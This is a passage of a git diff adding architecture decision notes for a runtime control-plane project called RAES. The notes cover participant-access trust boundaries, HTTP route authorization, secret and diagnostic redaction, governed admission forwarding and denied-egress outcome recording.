reference roles are +not interchangeable. SEM-218 `realization_support` and the selected realization +envelope remain independent cross-domain requirements. Neither establishes +participant support; participant support cannot waive them. + +Shared time already has `TimeCapabilities` and +`capability_admission.py::time_model_capability_gaps`, covering domain, +authority, progression, synchronization, mapping, capacity, reset and replay +declarations. Reuse these for the applicable component time obligations; +do not copy their fields into API-407 or make every component support every +other component's clock. An exact participant feature claim does not establish +a barrier, bridge, serialization service or timing guarantee. Effective support +requires their installed implementation and evidence for the particular +provider, directed edge and phase. The mapping-kind check currently recognizes +`identity` and `affine_rational`; partial-order semantics cannot be introduced +as an arbitrary new string or inferred from timestamp ordering. + +Two current validator seams need explicit treatment in the accepted design: + +- `resolve_participant_feature_support()` returns `None` for a legacy listed + feature outside the evidence-required set when no entry exists. This makes + no strength claim. Preserve that legacy behavior outside the newly claimed + scope, but require an explicit entry for a mixed obligation needing a + strength. Unsupported never becomes an executable downgrade. +- Unknown governed extension terms can resolve to an empty required-contract + set. Vocabulary syntax alone must not confer executable support. If new + terms are necessary, align the vocabulary, scope, required-contract map, + backend-contract allowlist, evidence-required set, schema and dataclass/model + adapters. `BackendManifestV2Model._validate_participant_policy_contracts` + currently indexes the **behavior** map for every evidence-required term; + adding an interaction term to that set alone is invalid. Declaration-only + terms must not enter `PARTICIPANT_RUNTIME_POLICY_FEATURES`, which also drives + runtime policy behavior and reference-backend declarations. + +The resolver compares strength and checks reference presence; trusted +`MixedCompositionResolutionContext` joins must establish evidence satisfaction +and exact downgrade authorization. Apply constraints to the selected binding: +equal strength does not make incompatible units, bounds or services compatible. +Keep requested and effective support distinct, retain weakening provenance, +and recheck current willingness before effects. A runtime refusal or unknown +operation outcome is not a new manifest support level. Use the existing +planner gaps and conformance runner, with provider-local negative cases in +`test_backend_manifest.py`, `test_issue_1014_mixed_composition_contracts.py` +and `test_issue_1015_mixed_staged_trial_admission.py`; declared references alone +cannot replace executed mapping/time probes. + +ADR-059 requires an ADR-102 amendment row and matching `adr-index.yaml` record +and pin for any accepted-text change. ADR-061 and +`contracts/schema-publication/README.md` govern schema evolution: update the +owning `contracts/schema-publication/entries/` record (the root manifest is an +index), generated bundle parity and fixtures. Keep semantic revision, wire +version and evidence release distinct; preserve immutable historical evidence. +This preflight leaves those normative artifacts unchanged. + +## Cross-cutting gates + +1. **Ingress and configuration:** keep bounded JSON parsing, duplicate/depth + checks through `json_ingress.py`, closed profile/plan models, digest and + exact-context joins. Bound translated payloads, graph/context traversal and + fan-out too. Direct Python inputs require the same validation; frozen + dataclasses and mapping proxies do not deeply freeze nested models. + `ControlPlaneConfiguration`, `MixedRuntimeBinding`, `RuntimeTarget` registry + signatures and manifest/envelope identity checks validate the installed + binding. Neither HTTP fields nor environment variables select a component, + bridge, clock or mapping. New executable parameters belong in the trusted + binding of an admitted edge, so another conforming adapter does not require + changes to SDL, the dispatcher's semantic selection or store ownership. + Parameterize that seam by pinned mapping/bridge version, source/destination + subjects, service/readback contract and admissible bounds. Resolve installed + implementations through the existing registry/protocol boundary; portable + refs are not module imports, scripts, filesystem paths or fetchable URLs. +2. **HTTP and authorization:** retain `create_control_plane_app()`, + `RequestSizeLimitMiddleware`, closed request DTOs, bounded queues, + `Idempotency-Key`, `_ControlPlaneApiAuth`, + `ControlPlaneSecurityConfig.strict_defaults()`, logical target binding and + participant/controller/audience subjects. No backend token, native owner, + component id or bridge identity supplies participant authority. +3. **Secrets, environment and host:** retain `RuntimeEnvironmentVariable` + name/value versus `value_from`, classification and redaction validators, + `secret_references.py`, runtime-fact binding policy, credential sanitizers + and `control_plane_store_paths.py`/`control_plane_store_lease.py` checks. + Environment names must be nonblank and exclude `=`; `value` and `value_from` + are exclusive, generated values cannot claim `operator_secret`, and redacted + or operator-secret values cannot carry plaintext. Keep these authored runtime + shapes distinct from host credential injection. Carry safe ids, refs and bounded + diagnostics, not secret values, payloads, host paths or low-entropy secret + digests. The coordinator adds no subprocess, shell, socket or argv/env + authority; backend-owned native I/O must stay behind admitted endpoints and + host permissions, never arbitrary request-selected destinations. Never expose + tokens or action data in process arguments, logs or tracebacks. Existing + `require_single_worker_configuration()` and store ownership, link and private + file/sidecar permission gates still apply. + If an adapter consumes generated environment values, it must also pass + `raes_processor/planner/stateful_admission.py`'s exact projection keys, + delivery mode, node/output, consumer and sensitivity joins. Reuse + `prepared_node_projection.py`; an arbitrary environment dictionary cannot + bypass these checks merely because the SDL value shape was valid. +4. **Backend and publication:** keep deep-copy call isolation, backend result + type/ownership/changed-address checks, time readback, strict snapshot codec, + history-head and revision CAS. `Diagnostic` and existing result envelopes + use `backend_result_diagnostics.py`, `backend_account_credentials.py` and + `portable_diagnostic_payload()` for stable value-free codes; + `control_plane_api/_responses.py` and `_operation_routes.py` keep conflict, + validation and 500 responses redacted. Preserve `StrictJsonIngressError`, + validation errors and `SnapshotRevisionConflict` instead of adding a bridge + exception hierarchy. `AuditEvent` and the existing module loggers record safe + operational facts, not participant observation or experimental evidence. + `portable_diagnostic_payload()` checks the portable shape, not redaction. + Manifest/admission validation messages can interpolate rejected terms; + new public responses, audit and logs must not forward raw exception text, + rejected values or exception causes. Sanitize addresses as well as messages. + Apply the existing plane/audience projections to capability reasons, evidence + refs, membership and timing metadata too; a safe string can still disclose + information to an unauthorized participant. + +## Gotchas, non-goals and assurance boundary + +Avoid a second bridge policy engine, operation ledger, exception hierarchy, +schema base, clock, store, controller state or workflow engine. Do not infer +execution from a method signature, feature declaration, source timestamp, +edge presence, profile evidence ref, `ApplyResult.success`, receipt order or +metadata. Do not manufacture delivery/observation from backend success; do not +erase prior knowledge on retraction/replay or use audit as participant evidence. +Do not turn partial order into total order, weaken an exact requirement because +one backend is weak, or use runtime fallback after contextual refusal. + +This issue does not require a generic federation framework, backend-native +HLA/FMI/HELICS support, a new physical backend, multi-controller or leased +authority, distributed transactions, universal rollback/retry, universal +collection, empirical transfer, backend equivalence or IFC/noninterference +proof. The accepted design and executable examples must state the bounded +guarantee and test zero prohibited calls for pre-effect refusals, distinct +execution/delivery/observation evidence, partial/unknown after-effect paths, +stale and failed handoff, incompatible clocks and weak timing, restart +reconciliation, and a successful mapped exchange. + +Use `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/policy/requirement_order.yaml`, +`noxfile.py` and `.pre-commit-config.yaml` for workflow and verification. Set +`RAES_REQUIREMENT_UID=API-407` for this requirement's work, or `SEM-234` for +its semantic-owner work, when needed. Run only targeted local checks; +full, integration and fuzz suites remain CI-owned. Extend the #1014–#1016, +#1200, API-421/shared-time, crossing, API and operation-lifecycle witnesses +where their owning boundary changes; design-model tests and golden metadata +cannot replace executed adapter/bridge probes. No implementation or new tests +are part of this preflight. diff --git a/docs/decisions/issue-1356-control-plane-participant-access-preflight.md b/docs/decisions/issue-1356-control-plane-participant-access-preflight.md new file mode 100644 index 000000000..338a1252a --- /dev/null +++ b/docs/decisions/issue-1356-control-plane-participant-access-preflight.md @@ -0,0 +1,267 @@ +# Issue 1356: Control-plane and participant-access trust boundary + +Status: accepted architecture decision (2026-09-24). This note interprets +[ADR-104](adrs/adr-104-runtime-control-plane-architecture.md) section 7 and +[API-404](../requirements/API-404/requirement.md) C1/C3 for participant access. +It changes no runtime behavior or executable authorization claim. + +## Decision and authority + +RAES has two composition shapes. P0/P1 are SDK calls inside an embedding +application; P2 is an optional HTTP adapter over a P1 core. The trusted +**host application** owns participant-facing access in either shape. It may +be a local product such as LilRAE or an organizational service such as BigRAE. +Here “host” means that product, not a RAES realization-backend adapter. +Participant-facing UI or agent code receives an authorized result from the +host; it receives neither the privileged `RuntimeControlPlane` object and +store nor a P2 read identity. BigRAE retains organizational users, groups, +tenants, sessions, authentication and policy; a local host applies its own +caller boundary without inventing organizational accounts. An authentication +principal is not an SDL participant, controller, `agent` role, or +`deployment_tenant`. + +**P0/P1 SDK:** There is no RAES HTTP credential or listener. The embedding +process supplies typed actor context for mutations and controls which code +can call SDK methods and receive their results. `get_snapshot()` takes no +caller identity and returns the full snapshot; participant retrieval methods +accept optional identity context. HTTP role dependencies do not protect direct +Python calls. Giving untrusted participant code the control-plane object, +store, or an unrestricted SDK wrapper gives it privileged access. A host that +cannot keep that object private cannot safely share one run's state with +mutually restricted participants. In a single-user local application the owner +may call the SDK directly as the trusted host; this decision does not require +an HTTP service or organizational account layer for that use. + +**P2 HTTP:** `ControlPlaneSecurityConfig.strict_defaults()` contains no +tokens or trusted proxy identities. A deployment may configure bearer tokens +or verified proxy identities mapped to `ControlPlaneIdentity`; neither is an +RAES-issued universal credential. The configured identity has an exact target +binding and route roles. `BACKEND`, `OPERATOR`, and `AUDITOR` all pass +`_ReadIdentity`, which admits both API-408 participant view routes and +`/snapshot`. A `ParticipantAudienceSubjectBinding` narrows governed view +lookup only; it does not narrow snapshot access. “Service identity” is a +deployment use of these existing identities, not a distinct enforced role. +The host keeps its configured P2 token or proxy identity private and never +delegates it to a browser, participant agent, mobile client or plugin. + +For each participant-facing release, the host binds its own caller and +session to one target/run, participant address, exact episode, allowed +audience and permitted operation. It checks that selection for every read, +retry, poll, delivery, stream item, callback and mutation. In P2, RAE checks +the configured identity's target and route role; for governed views it also +requires one matching participant/audience binding and commits the crossing +decision. The one-run store supplies the run boundary, but P2 has no +episode-scoped credential. In P0/P1, the host supplies the actor and any +governed audience binding to the SDK; it remains responsible for caller +authentication and result release. Neither shape lets RAE infer the host's +user entitlement from a URL, operation ID, view ref or runtime actor. + +The host checks returned participant, episode and source state cut against +its selection before release. A status or context request without an episode +selector must be resolved against the host's selected exact episode; a +history request's path episode must match it. An episode change, handoff, +audience-policy change or run switch requires fresh authorization and a fresh +projection. Cached bytes cannot be relabeled across those coordinates. + +Participant-facing retrieval requires a configured RUN-319 crossing-policy +resolver and permitted exact-cut API-423 egress in the host's RAE composition. +The current SDK and HTTP adapter still have a legacy projection path when no +resolver is configured. That path can return a view without crossing evidence; +RAE does **not** reject it merely because the host intends participant-facing +use. The host must refuse such a deployment or result. It may release governed +status, history and context views only after its own entitlement check and +the applicable RAE crossing. A valid view schema alone is not proof of a +permitted crossing. Read-shaped governed egress commits crossing evidence +before serialization through the existing mutation authority. Administrative +snapshots, operation records, raw histories, receipts, diagnostics and errors +are never participant-view fallbacks. + +## Runtime route and authority matrix + +This table inventories the optional reference P2 HTTP app. `read` is the +existing `_ReadIdentity` role check, `mutate` is `_MutatingIdentity`, and +`resolve` is `_ResolutionIdentity`. Issue #1359 renamed these dependencies to +`_AdministrativeReadIdentity`, `_AdministrativeMutationIdentity`, and +`_OperatorResolutionIdentity`, the `administrative-read`, +`administrative-mutation`, and `operator-resolution` transport authorities, with +unchanged role sets. All authenticated P2 identities require +the exact target binding. These checks authenticate the host's P2 caller; +they do not authenticate the host's participant-facing user. The host applies +its own caller and participant checks before releasing any result. + +| Surface | Current P2 gate and data | Caller and release rule | +| --- | --- | --- | +| `GET /snapshot`; `GET /apparatus/operational-summary` | `read`; full runtime snapshot or operational summary, revision header, audit | Privileged host, operator or auditor identity. Never release these as participant views. | +| `GET /operations/{operation_id}` | `read`; core matches immutable operation actor **and authorization scope**, otherwise 404 | Submitting host actor/operator for operational polling. IDs and matching service scopes do not authorize the host's end user; the host governs any client-visible progress. | +| `POST /operations/provisioning`, `/orchestration`, `/evaluation` | `mutate`; planner authorization, typed plan validation, actor-scoped claim, receipt | Trusted host/operator only. Plans and receipts are control-plane artifacts. | +| `POST /operations/{operation_id}/resolution` | `resolve` (operator); linked indeterminate resolution | Operator only; never a participant retry or recovery shortcut. | +| `POST /workflows/{workflow_address}/cancel`, `/workflows/reconcile-timeouts` | `mutate`; core workflow/run admission, receipt | Trusted host/operator only; host must authorize any user-driven cancellation. | +| `POST /participant-executions/{execution_scope_ref}/control`; `GET /participant-executions/{execution_scope_ref}` | `mutate`/`read`; backend execution control/readback, receipt or service state | Administrative service surface. Execution scope is not an audience-bound participant projection. | +| `POST /participants/{participant_address}/episodes/{initialize,reset,restart,terminate}` | `mutate`; typed lifecycle request, core episode/run state, receipt | Trusted host/operator only. Path and optional episode body are request data, not entitlement. | +| `POST /participants/{participant_address}/control-occurrences` | `mutate` plus core participant/controller binding and API-409 control admission | Authorized service controller only; control authority is distinct from view audience. | +| `GET /participants/{participant_address}/status`; `/episodes/{episode_id}/history`; `/context` | `read`; with resolver, participant/audience candidate and API-423/RUN-319 crossing before serialized API-408 view; without resolver, legacy projection | Trusted host identity only. Host releases a governed view solely for its separately bound caller, run, participant, exact episode and audience. The route's role check alone does not supply those bindings. | +| `GET /health/live`, `/health/ready`; framework `/openapi.json`, `/docs`, `/redoc` | No identity dependency; value-free health or API description | Deployment probe/administration network. No participant data authority; do not treat their reachability as permission to expose P2. | +| Audit log, snapshot/operation store, raw event and crossing histories, host callbacks | No P2 HTTP route for raw audit or an event stream; in-process/store access belongs to the owner/embedder. Histories also appear inside privileged snapshots and governed participant views. | Owner/operator only. A future event, subscription, export, callback, or cache endpoint must inherit the same release gate for each item and cannot expose raw histories to participants. | +| `RuntimeControlPlane` in-process methods, `RuntimeManager` direct execution, and offline store check/backup/restore | Trusted embedder, direct realization-backend authority, or owner-stopped maintenance; no HTTP participant authorization | Privileged host/operator path only. Store copies, direct snapshots and execution results must not become alternate participant reads or mutations. `RuntimeManager` does not coordinate with the control-plane owner on the same realization backend. | + +The P0/P1 boundary is method access inside the embedding process; the P2 +boundary also has transport authentication: + +| Composition | RAE-enforced boundary | Host-enforced boundary | +| --- | --- | --- | +| P0/P1 SDK | Runtime ownership, target/run store scope, actor-bound mutation and readback, and a participant crossing when configured. `get_snapshot()` has no caller-identity gate; the SDK does not authenticate a product user. | Keep the control-plane object and store private; authenticate or otherwise identify the local/product caller; authorize its participant, episode, audience and operation before calling or releasing a result. | +| P2 HTTP over P1 | Configured bearer token or verified proxy identity, route role and exact target checks; operation actor/scope readback; participant/audience crossing only with a resolver. There is no participant-only read role, run/episode-bound HTTP credential, or automatic rejection of the legacy no-resolver view path. | Keep the P2 identity and socket private from participant clients; authorize the product caller and exact result scope; reject ungoverned views and reauthorize cached or replayed results. | + +HTTP 4xx/5xx envelopes, validation errors, operation diagnostics, receipts, +status readback, and `X-RAES-Snapshot-Revision` are also output surfaces. +They must carry no secret or cross-participant payload. The host returns its +own bounded, participant-safe errors and never uses a 403/404 distinction or +raw RAE diagnostics to reveal another participant's existence. Participant +progress or notifications derived from operational results still need the +applicable governed carrier and release gate; renaming or filtering status +fields does not make an ungoverned participant feed safe. + +The in-process row also covers `snapshot`, `get_snapshot`, `audit_log`, +`observation_execution`, participant action/control and decision-surface +admission, and `deliver_participant_directed_view`. These are not additional +participant transports: HTTP role dependencies do not wrap direct Python +calls, and possession of the SDK object grants access to its public methods. +Directed delivery is a separate crossing, not proof of participant +consumption. The current `raes_mcp` authoring/inspection tools are not a live +participant control-plane gateway; adding one would require the same boundary. + +## Deployment and cross-cutting guardrails + +- Keep P2 on an administration/service network. Terminate TLS, authenticate + service callers, strip untrusted identity headers before setting verified + proxy headers, and select exactly one worker with reload disabled. Use + `ControlPlaneSecurityConfig.strict_defaults()` until explicit identities and + secrets are loaded. Unknown bearer credentials must fail without header + fallback. A reverse proxy route allowlist can constrain the host's outbound + P2 traffic, but does not make a configured P2 identity narrower at the RAE + auth layer. +- Reuse `ControlPlaneSecurityConfig`, `_ControlPlaneApiAuth`, the API request + size and bounded offload guards, `ControlPlaneIdentity` and its subject + bindings. RAE config currently has no episode- or run-scoped HTTP identity + field; the host's selected run/episode must be checked against the pinned + RAE store and returned carrier. Do not silently add an env flag, query token, + new role, or second principal model to simulate that binding. +- Reuse the published `raes_contracts` operation, snapshot, API-408 view, + API-409 control and API-423 crossing carriers and their model/context + validators; `control_plane_api_models` is their HTTP adapter. Reuse + `participant_retrieval`, `participant_crossing_egress`, the RUN-319 final + sink, `control_plane_operation_context`, actor/scope-bound idempotency and + readback, and the one mutation/store authority. Schema validity alone does + not grant disclosure; no second DTO, crossing validator, exception hierarchy, + event log, or persistence workflow is warranted. +- Reuse `_responses._conflict_detail`, redacted FastAPI exception handlers, + `RequestSizeLimitMiddleware`, `portable_diagnostic_payload`, and bounded + rejection/operational audit. Log stable reason codes and actor/target + references only; never log bearer tokens, bodies, realization-backend + exception text, source snapshot bytes, participant view payloads, or + identifying paths. + Validate any future projection response at its final sink, including cache + hits, retries and error branches. +- Keep the P1 owner lease, private store directory/database permissions, + immutable target/run scope and snapshot revision/CAS; the single-worker + server rule applies when P2 is used. + Build on `control_plane_store_local`, its scope/carrier validation and the + existing store-maintenance interface for operational copies; do not add a + parallel participant store or direct reader. + Load secrets through the deployment's protected secret channel, outside + process arguments and published config. Do not put a bearer token in a URL, + environment dump, CLI argument, SDL file, fixture, or versioned artifact. + Host caches must be private, bounded by caller/session plus target/run, + participant, episode, audience, policy and source revision, and invalidated + on authorization or state-cut change. +- For P0/P1 SDK embedding, keep the control-plane object and store inside the + trusted process or trusted component. An in-process participant plugin with + access to that object can call privileged methods; a host must isolate such + code or avoid sharing one run with mutually restricted participants. + +The extension seam is the host-to-RAE policy adapter: it maps a host-approved +`(target, run, participant, episode, audience, operation)` selection to SDK +actor and governed retrieval parameters, or to a configured P2 identity and +the same governed retrieval parameters. A future route-scoped P2 credential or +participant-safe transport requires its own reviewed RAE authorization change; +this decision grants none and changes no SDL identity or API-408/API-423 carrier. + +## Composition and release checks + +These are constraints on the existing boundaries, not additional middleware, +schemas, or a proposed implementation sequence. Module names below are in +`implementations/python/packages/` unless another root is given. + +| Layer and canonical incumbent | Required boundary | +| --- | --- | +| P2 transport/config: `raes_runtime/control_plane_security.py`, `control_plane_api/_auth.py`, `control_plane_api_guards.py`, `control_plane_api/_offload.py` | Preserve immutable credential maps, valid distinct identity-header names, target equality, role checks, positive admission limits and bounded body reading before routing. The host must authorize its participant-facing caller before releasing results; caller-supplied headers or selectors cannot mint P2 bindings. A shared service identity is not an end-user identity. | +| Runtime composition: `control_plane_configuration.py`, `control_plane_composition.py`, `control_plane_profiles.py`, `registry.py` | Use normalized `run:`, an explicitly selected P0/P1 core with optional P2 adapter and admitted realization-backend capabilities. A participant-facing host requires the crossing resolver and its trusted `resolve_participant_view_evidence` hook for retrieval; the current legacy path does not enforce this requirement. Preserve explicit final-sink selection: selected SEM-233 enforcement requires `resolve_flow_sink_decision`; selected RUN-320 modular control requires its admitted binding/capability. Do not disable enforcement to make an incompatible resolver start, or confuse a manifest declaration with an installed enforcement provider. | +| Portable shape and contextual authorization: `raes_contracts/contracts/participant_views.py`, `participant_crossing_validation.py`; `raes_runtime/participant_crossing_mediation.py`, `participant_flow_sink.py`, `participant_control_orchestration.py` | Reuse API-408 model validation and API-423 context validation plus operation-bound policy, audience, history-cut and selected final-sink checks. Validate transformed egress against the committed subject. A well-formed view, a visibility-projection ref or a successful HTTP status is not independently verifiable crossing evidence; deployment composition and the governed path supply that assurance. | +| Secrets and environment: `raes_contracts/secret_references.py`; `raes/runtime_environment.py`, `runtime_generated_value.py`, `runtime_configuration.py`, `runtime_values.py` | Service credentials remain deployment secrets outside SDL. This decision introduces no env parser or secret loader. If deployment assets describe runtime env inputs, retain unique names, explicit sensitivity/provenance, redaction, literal/`value_from` exclusions and generated-output reference checks. `SecretReferenceId` is a logical reference, not a bearer value; generated values cannot masquerade as out-of-SDL `operator_secret` material. | +| Host/process and persistence: `control_plane_store_lease.py`, `control_plane_store_paths.py`, `control_plane_store_local.py`, `control_plane_store_records.py`, `control_plane_store_maintenance.py` | Enforce private owner-controlled paths, strict durable codecs, one target/run and one owner. For P2 keep `WEB_CONCURRENCY`/`UVICORN_WORKERS` at one and reload off; proxy/network isolation must prevent direct socket access that bypasses verified-header authentication. Keep configured P2 credentials out of argv, shell tracing, environment dumps, access logs, crash reports and exported backups/config. Store backups remain privileged even when diagnostics are redacted. | +| Errors and observability: `control_plane_api/_responses.py`, `_operation_routes.py`, `raes_contracts/diagnostics.py`, `raes_runtime/control_plane_audit.py`, `backend_result_diagnostics.py` | Use existing coarse conflict/422/500 envelopes and portable diagnostics; no raw validation input, exception text/type/chain or provider payload. Preserve the selected denial response when secondary audit fails. Keep terminal operational audit atomic with state; best-effort transport rejection audit is a separate guarantee. Backend, reverse-proxy and ASGI logging must obey the same disclosure boundary. | + +Shared P2 service identities need special care. `operation_actor_scope` and +`control_plane_admission` bind RAE claims/readback to the supplied operation +actor and its complete authorization scope, not the host's user/session. The host +must associate each client request and operation reference with its authorized +selection and map client retry keys into that ownership context; forwarding +arbitrary client keys into a shared service namespace is unsafe. Preserve the +mapping for a genuine retry, reauthorize every release, and never generate a +fresh key automatically after timeout, disconnect or an uncertain result. +Changing subject bindings can change the immutable scope and legitimately +make old readback unavailable; do not work around that by dropping the scope +check. Product-user correlation belongs in host audit, not a second RAE actor +model or credential-bearing operation context. In P0/P1 the host supplies the +typed operation actor directly and owns its mapping to product callers. + +`RuntimeControlPlane._project_snapshot_read` returns the observed projection +revision, not a promise about the latest state after the crossing commit. +An idempotent egress can return its retained governed result; +`participant_crossing_projection.stable_projection_subject` normalizes only +runtime-owned revision paths. Do not rewrite retained source refs to a newer +header/revision or use that normalization as host cache authorization. +Reauthorize against the selected episode/policy and obtain a fresh governed +projection when a current view is required. Governed GETs must not be served +from a shared proxy/browser cache: host delivery must pass its release gate +even for retained results, including conditional responses and stream items. + +## Evidence and workflow boundaries + +This interprets API-404-C1/C3 and ADR-104 section 7; it preserves C2 durability, +C4/P3 nonclaims and FM3 invariants 8--11 (idempotency, authorization, provenance, +validation). No profile catalog or published contract change follows. Existing +regression homes are `test_runtime_control_plane_api.py` (auth, governed HTTP +egress, readback, errors), `test_run_319_participant_flow_policy.py` (audience, +transformation, stale-cut replay and atomic crossing), +`test_issue_1003_final_sink_flow_enforcement.py` and the issue-1069 control +tests (selected sink/control enforcement), and +`test_issue_1185_api_404_profile_alignment.py` (profile/nonclaim drift), all in +`implementations/python/tests/`. They do not demonstrate a host's caller +entitlement, revocation, session isolation or cache policy. Those need evidence +at the host boundary, including cross-participant/episode requests and +authorization changes during delivery; P2 hosts also need a shared service +identity case. + +Use `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/policy/adr_policy.yaml` +and `tools/check_repo_policy.py` for repository boundaries. ADR amendments use +`docs/decisions/adrs/adr-index.yaml` and `tools/check_adr_immutability.py`; +future published-schema changes use `contracts/schema-publication-manifest.json` +and `tools/check_generated_schemas.py`, not a parallel DTO generator. Retain +the file-targeted hygiene/secret checks in `.pre-commit-config.yaml` and +`tools/nox_support/policy_lanes.py`; use only relevant local test cases, with +full verification in CI. Design traceability is DOCUMENTS evidence, not a new +runtime IMPLEMENTS/TESTS or distributed-conformance claim. + +## Non-goals and anti-patterns + +No direct participant-to-RAE authentication, RAE organizational IAM, new SDL +participant/role, new P2 role, new published schema, or new HTTP route is +authorized here. This design does not certify that current P2 deployments +already have a crossing resolver, that legacy projection is safe for a +participant, or that a host can delegate its broad P2 read identity. +Avoid filtering a full snapshot in the browser/host as a substitute for +governed projection, treating possession of an operation ID or a +`ParticipantAudienceSubjectBinding` as global read authority, caching a view +without its exact scope, and allowing a generic proxy, event stream, error or +retry path to bypass the host gate. diff --git a/docs/decisions/issue-1357-v2-governed-admission-preflight.md b/docs/decisions/issue-1357-v2-governed-admission-preflight.md new file mode 100644 index 000000000..a7a6676b5 --- /dev/null +++ b/docs/decisions/issue-1357-v2-governed-admission-preflight.md @@ -0,0 +1,81 @@ +# Issue #1357 — v2 governed admission preflight + +Scope: the public Python `admit_participant_decision_surface_selection_v2()` +entry point. The GitHub issue is the contract. This note records boundaries for +implementation; it does not change runtime behavior or ADR-095 semantics. + +## Architecture decision + +The v2 selection binder owns agreement with the delivered surface; ordinary +participant-action admission owns caller and ingress-crossing authority. Keep +that sequence. Forward the caller's original identity and crossing evidence +through the v2 entry point to `admit_participant_action()` together with the +bound request and existing retry context. The v1 selection entry point and +`ParticipantSubmissionOptions` already provide the submission-context pattern. +The v2 path currently forwards only `idempotency_key` and +`request_fingerprint`, so a configured governed ingress cannot receive the +identity and evidence that ordinary admission requires. Keep one canonical +submission-options vocabulary and shape check; do not create a v2 authority DTO. + +`ParticipantActionAdmissionRequest` is the backend-neutral action request, not +the caller's authenticated identity or crossing evidence. The v2 selection is +a participant choice bound to a surface id, decision epoch, view digest and +delivery ref; it grants no new authority. The surface's derivation cut and +delivery cut are distinct from the fresh ingress crossing cut. Preserve their +participant/episode, action, audience, policy and occurrence identities through +the existing validators. Neither a selected action nor a delivery record may +synthesize caller authority, required evidence or a crossing occurrence. + +## Cross-cutting boundaries + +| Layer | Existing owner and required behavior | +| --- | --- | +| Published shape and proposal | `contracts/schemas/control-plane/participant-decision-surface-v2.json`, `raes_contracts.contracts.participant_decision_surface_v2`, `raes_contracts.participant_binding_v2` and `ParticipantActionAdmissionRequest` own surface/selection fields, agreement, apparatus resolution and governed argument-shape validation. Use their typed carriers and existing checks; no duplicate schema or parser. | +| Exact-cut and disclosure | `validate_participant_decision_surface_v2_anchor()` re-resolves the derivation anchor; `validate_participant_decision_surface_v2_delivery()` re-resolves authoritative delivery. ADR-095 and SEM-226 keep projection, disclosure, delivery, participant observation, selection and admission distinct. Never put assurance-only refs or crossing evidence in the participant-facing view. | +| Submission and authentication | `ParticipantSubmissionOptions.from_fields()` owns optional submission shape. `ControlPlaneIdentity` and `_require_crossing_identity()` own authenticated principal, target, role and exact participant/controller binding. A governed ingress requires the original typed identity; `operation_actor_scope(None)` denotes a trusted embedded process and must not replace a served caller. | +| Crossing and policy | `ParticipantCrossingEvidence` supplies caller-owned evidence metadata; `action_crossing_intent()`, `prepare_participant_crossing()`, `participant_crossing_policy`, `participant_flow_sink` and API-424 control mediation derive and validate the live occurrence, policy, evidence, capability, audience and final-sink decisions. Evidence refs are claims to check against trusted resolver context, not proof by presence. Unknown, stale, mismatched or unauthorized context fails closed. | +| State and effect | `RuntimeMutationAuthority`, `control_plane_mutation()`, `external_control_plane_call()`, `expected_participant_history_heads()`, the operation record and atomic store commit own serialized state cuts, re-entry fencing, replay and durable crossing/action history. Preserve the existing pre-mutation check and recheck under the mutation permit; do not dispatch a backend action before the governed decision and claim. | +| Failure and observation | `_participant_binding_diagnostic()`, `_reject_diagnostics()`, `OperationReceipt`, `operation_admission_context()` and crossing denial audit own the current rejection forms. Bind early rejections to the supplied actor where available, and keep audit details and returned diagnostics bounded and value-free. Do not wrap ordinary `PermissionError`/`ValueError` into a new exception hierarchy or expose raw evidence/policy payloads. | + +The public v2 method is a Python control-plane API; the current HTTP adapter +does not expose this admission method. Thus no new HTTP request body, auth +dependency, error envelope, configuration or environment binding is in scope. +If an HTTP route is later introduced, it must use `ControlPlaneSecurityConfig` +and the existing API authentication and response machinery, with typed identity +coming from the auth dependency rather than the request body. This change +needs no credential lookup, secret value, subprocess argument or environment +variable. Do not pass identity or evidence through `argv`, logging, diagnostic +text or participant-visible serialization. Existing operation commitments and +audit records remain the persistence surface; no new journal or cache. + +## Verification boundary and anti-patterns + +The targeted v2 runtime test should show a valid delivered selection reaches +governed ordinary admission with the correct authenticated actor and crossing +occurrence, then reject absent identity/evidence, stale surface or crossing +cut, wrong participant/episode/action/audience/controller, and unauthorized +role/target/subject. Check that rejection leaves action/behavior history and +backend effects absent, except for the incumbent denial audit or crossing +record where that boundary intentionally records one. Reuse the existing +`participant_crossing_fixtures.py` resolver, identity and evidence fixtures +alongside `test_sem_220_participant_decision_surface_v2_runtime.py`; preserve +the mutation/concurrency and replay tests for the same path. Run only targeted +local checks under `.ground-control.yaml`, `.gc/plan-rules.md` and `noxfile.py`; +broad suites belong to CI. The published schema is governed by +`contracts/schema-publication-manifest.json` and +`tools/check_generated_schemas.py`; this forwarding change does not call for a +schema edit or a second contract artifact. + +Do not copy RUN-319 crossing validation into the v2 binder, infer a controller +from the chosen action, use the decision epoch as policy order, treat the +delivery ref as ingress evidence, turn a rejected crossing into success, or +relax an existing validator to fit a forwarded value. The next submission +context variation belongs in the shared `ParticipantSubmissionOptions` seam +and then passes through both selection entry points and ordinary admission; +it should not require another v2-only options parser. + +Non-goals: changing the v2 wire schema, ADR-095, v1 historical meaning, +participant projection or delivery rules, policy semantics, backend execution, +HTTP routing, secret/config handling, or store formats. A separate mixed-runtime +support change must resolve the current v2 target guard against the ordinary +action path's mixed-runtime guard before claiming mixed admission support. diff --git a/docs/decisions/issue-1358-denied-egress-outcome-preflight.md b/docs/decisions/issue-1358-denied-egress-outcome-preflight.md new file mode 100644 index 000000000..3a2306fc5 --- /dev/null +++ b/docs/decisions/issue-1358-denied-egress-outcome-preflight.md @@ -0,0 +1,99 @@ +# Issue 1358 Denied Egress Outcome Preflight + +Date: 2026-09-24. Contract: issue #1358 (no Ground Control requirement). + +## Decision boundary + +The terminal operation status describes the **final release outcome**, after +API-423 crossing, SEM-233 flow-sink, and any selected modular control gates. +A permitted crossing decision is evidence that an earlier gate passed; it is +not evidence that a participant view was released. On a final flow-sink refusal, +retain that earlier decision and its history head, commit one `FAILED` operation +status with the existing flow-sink denial diagnostic, the denied audit, and the +resulting snapshot in the incumbent atomic participant transition. Keep the +accepted receipt as an immutable admission acknowledgment. The denied record +must have no releasable `result_payload`; the caller receives the existing +value-free `PermissionError` and no view. + +`participant_flow_sink.py::flow_sink_denied_record()` already classifies an +ingress final-sink denial as `FAILED` and adds +`runtime.participant-flow-sink-denied` plus the canonical terminal diagnostic. +The egress path should reuse that classification with +`participant_crossing_commit.py::commit_prepared_crossing()` and its existing +claim, expected-head, revision, audit, and publication semantics. Do not add a +second terminal state, store method, audit stream, or exception hierarchy. +The operation record, audit, and history must describe one state cut before +the caller can receive any governed carrier. + +History retains `requested`/`decided` (and a valid transformation, if any) as +earlier work. A denied release has no `delivered` or `observed` fact. The +actor-bound denial audit carries the 